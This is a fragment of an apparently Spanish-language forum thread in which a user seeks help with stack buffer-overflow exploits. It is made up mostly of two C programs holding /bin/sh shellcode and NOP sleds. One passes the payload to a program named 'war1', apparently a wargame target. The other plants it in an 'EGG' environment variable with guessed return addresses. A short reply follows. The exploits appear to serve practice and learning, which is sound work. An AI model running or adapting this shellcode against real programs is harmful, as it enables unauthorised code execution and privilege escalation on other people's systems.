lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#define SIZE_STRING 100#define SIZE_NOP 27char SHELLCODE[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x6a\x0b\x51\x52\x53\x83\xec\x10\x61\xcd\x80\xb0\xf6\xff\xbf"; intmain( int argc, char* argv[]){ int size_total = SIZE_STRING+SIZE_NOP+ strlen(SHELLCODE) ; char buff[ size_total ]; int i; for( i=0; i < SIZE_STRING ; i++) { buff[i] = 'Z'; } for( i=SIZE_STRING; i < SIZE_STRING+SIZE_NOP; i++ ) { buff[i] = '\x90'; } memcpy(buff+ (SIZE_STRING+SIZE_NOP), SHELLCODE, strlen(SHELLCODE) ); execlp("./war1", "war1", buff, NULL); return 0;}
#include <stdio.h>#include <stdlib.h>#include <string.h>#define NOP 0x90#define SIZE_DEFAULT 512#define OFFSET 0unsigned long getESP(void){ __asm__("movl %esp,%eax"); }char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";int main(int argc, char* argv[]) { char *buff, *buff_cptr; long *buff_lptr, addr_offset; int bsize, offset; int i; if( argc <= 1 ) { printf("Uso: ./exploit2 size offset \n"); return 0; } bsize = ( argc > 1 ) ? atoi(argv[1]) : SIZE_DEFAULT; offset = ( argc > 2 ) ? atoi(argv[2]) : OFFSET; if( !(buff = malloc(bsize)) ) { printf("No se puede reservar memoria\n"); return 1; } addr_offset = getESP() - offset; printf("Offset addr :: 0x%x\n", addr_offset); buff_cptr = buff; buff_lptr = (long *) buff_cptr; for (i=0; i< bsize; i+=4) *(buff_lptr++) = addr_offset; for (i=0; i< (bsize/2); i++) buff[i] = NOP; buff_cptr = buff + ( (bsize/2) - (strlen(shellcode)/2) ); for (i=0; i < strlen(shellcode); i++) *(buff_cptr++) = shellcode[i]; memcpy(buff, "EGG=", 4); putenv(buff); system("/bin/bash"); return 0;}
Ufff el tema de los exploits es muy complejo, lo que no se es si esta es la sección correcta, ya que básicamente el problema reside en el shellcode y no en el código c.Suerte.